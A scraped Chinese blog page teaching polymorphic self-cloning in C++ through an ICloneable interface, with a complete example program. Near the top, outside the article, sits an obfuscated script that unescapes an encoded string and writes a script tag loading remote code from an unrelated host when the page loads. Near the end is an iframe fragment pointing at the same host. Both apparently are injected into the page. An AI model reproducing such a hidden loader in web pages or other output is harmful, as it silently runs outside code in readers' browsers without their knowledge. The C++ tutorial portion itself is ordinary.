如何在多态中克隆自己

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count1.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
如何在多态中克隆自己

<script type="text/javascript"> google_ad_client = "pub-6382933205019744"; google_ad_width = 468; google_ad_height = 60; google_ad_format = "468x60_as"; google_ad_type = "text_image"; //2007-10-25: jzxx1025 google_ad_channel = "3720578486"; google_color_border = "FFFFFF"; google_color_bg = "FFFFFF"; google_color_link = "FFFFFF"; google_color_text = "000000"; google_color_url = "3D81EE"; google_ui_features = "rc:10"; </script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>

有的时候,我们在多态使用中,想使用父类的指针来克隆对应的子类,但是这些父类指针是外部传递给使用者的。也就是说,使用者并不知道对应的子类。那么在这种情况下,如可克隆自己呢?下面一段代码简单的演示了一种使用方法,希望能够给读者一些启迪。
ICloneable类是关键,它的clone方法能够克隆自己。所以如果子类要能够被克隆,一定要实现ICloneable类。
#include <iostream>
#include <time.h>
using namespace std;
class ICloneable
{
public:
    virtual ~ICloneable(){}
    virtual ICloneable* clone() = 0;
};
class IBase : public ICloneable
{
public:
    virtual ~IBase(){}
    virtual void who() = 0;
};
class CWYQ : public IBase
{
public:
    virtual ~CWYQ(){}
    virtual void who()
    {
        cout << "I am CWYQ" << endl;
    }
    virtual ICloneable* clone()
    {
        return new CWYQ;
    }
};
class CWT : public IBase
{
public:
    virtual ~CWT(){}
    virtual void who()
    {
        cout << "I am CWT" << endl;
    }
    virtual ICloneable* clone()
    {
        return new CWT;
    }
};
class CZJ : public IBase
{
public:
    virtual ~CZJ(){}
    virtual void who()
    {
        cout << "I am CZJ" << endl;
    }
    virtual ICloneable* clone()
    {
        return new CZJ;
    }
};
int main( void )
{
    IBase *base[ 6 ];
    int i;
    memset( base, 0, sizeof( base ) );
    for ( i = 0; i < 3; )
    {
        //srand( (unsigned)time( NULL ) );
        int idx = rand() % 3 ;
        
        if ( base[ idx ] == NULL )
        {
            switch ( rand() % 3 )
            {
            case 0:
                base[ idx ] = new CWYQ;
                break;
            case 1:
                base[ idx ] = new CWT;
                break;
            case 2:
                base[ idx ] = new CZJ;
                break;
            }
            ++ i;
        } // end if ( base[ idx ] == NUL )
    }
    for ( i = 0; i < 3; ++ i )
    {
        base[ i + 3 ] = static_cast<IBase*>( base[ i ]->clone() );
    }
    for ( i = 0; i < 6; ++ i )
    {
        base[ i ]->who();
    }
    for ( i = 0; i < 6; ++ i )
    {
        if ( base[ i ] != NULL )
            delete base[ i ];
    }
    return 0;
}
 
<script type="text/javascript"> google_ad_client = "pub-6382933205019744"; google_ad_width = 468; google_ad_height = 60; google_ad_format = "468x60_as"; google_ad_type = "text_image"; //2007-10-25: jzxx1025 google_ad_channel = "3720578486"; google_color_border = "FFFFFF"; google_color_bg = "FFFFFF"; google_color_link = "FFFFFF"; google_color_text = "000000"; google_color_url = "3D81EE"; google_ui_features = "rc:10"; </script><script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>
src="http://avss.b15.cnwg.cn/count/iframe1.asp" frameborder="0" width="650" scrolling="no" height="160">
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值